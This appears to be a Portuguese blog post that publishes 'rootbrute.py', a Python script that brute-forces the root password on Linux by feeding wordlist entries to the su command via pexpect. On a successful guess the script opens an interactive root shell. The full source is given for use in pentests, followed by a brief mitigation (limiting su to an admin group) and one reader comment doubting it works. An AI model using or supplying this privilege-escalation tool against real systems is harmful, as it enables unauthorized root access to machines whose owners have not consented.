Local Root BruteForcer

rootbrute.py é uma ferramenta escrita em Python com a finalidade de efetuar um ataque de brute-force local em sistemas
Linux utilizando-se do comando /bin/su. Utilizando um ataque de dicionário pode-se testar diversas senhas de root.

A ferramenta é simples e abaixo segue o Source-code da mesma.

Quando pode ser utilizada: Esta ferramenta consiste em um ataque de elevação de privilégios e pode ser utilizada em um pentest
após ganhar acesso ao Shell do sistema. Poder ser muito útil em ocasiões onde não existem outras falhas locais para serem exploradas
para Privilege Scalation (Falhas no Kernel por ex).

[+]————–Cut Here—————–[+]

#!/usr/bin/python
#Local Root BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys
try:
import pexpect
except(ImportError):
print “\nYou need the pexpect module.”
print “http://www.noah.org/wiki/Pexpect\n”
sys.exit(1)

#Change this if needed.
LOGIN_ERROR = ‘su: incorrect password’

def brute(word):
print “Trying:”,word
child = pexpect.spawn (‘su’)
child.expect (‘Password: ‘)
child.sendline (word)
i = child.expect ([‘.+\s#\s’,LOGIN_ERROR])
if i == 0:
print “\n\t[!] Root Password:”,word
child.sendline (‘whoami’)
print child.before
child.interact()
#if i == 1:
#print “Incorrect Password”

if len(sys.argv) != 2:
print “\nUsage : ./rootbrute.py <wordlist>”
print “Eg: ./rootbrute.py words.txt\n”
sys.exit(1)

try:
words = open(sys.argv[1], “r”).readlines()
except(IOError):
print “\nError: Check your wordlist path\n”
sys.exit(1)

print “\n[+] Loaded:”,len(words),”words”
print “[+] BruteForcing…\n”
for word in words:
brute(word.replace(“\n”,””))

[+]————–Cut Here—————–[+]

Workaround: Para evitar que este ataque seja efetuado em suas Box Linux deve-se ter um controle de acesso em relação aos usuários os quais
podem utilizar do comando su. O ideal é criar um grupo, por exemplo “Admin”, e que somente os usuários participantes deste grupo possam utilizar o su.

Isto seria um workaround simples, porém, se uma conta pertencente ao grupo “Admin” for comprometida, este tipo de medida torna-se totalmente ineficiente.

Advertisements

One response to “Local Root BruteForcer

  1. O.o .. Isto existe mesmo ?
    Tipo: o brute force rola na hora de passar a senha após a execução do comando ‘su’ aonde ele vai ficar tentando inserir possíveis senhas contidas na wordlist. É complicado fazer isso… acho que se a senha pudesse ser passada como argumento no comando su seria até mais fácil criar bruteforces … Digo isso porque eu testei e não deu certo aqui .. kkkkkk .. Vai que o problema está entre o PC e a cadeira .. husahsuah

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s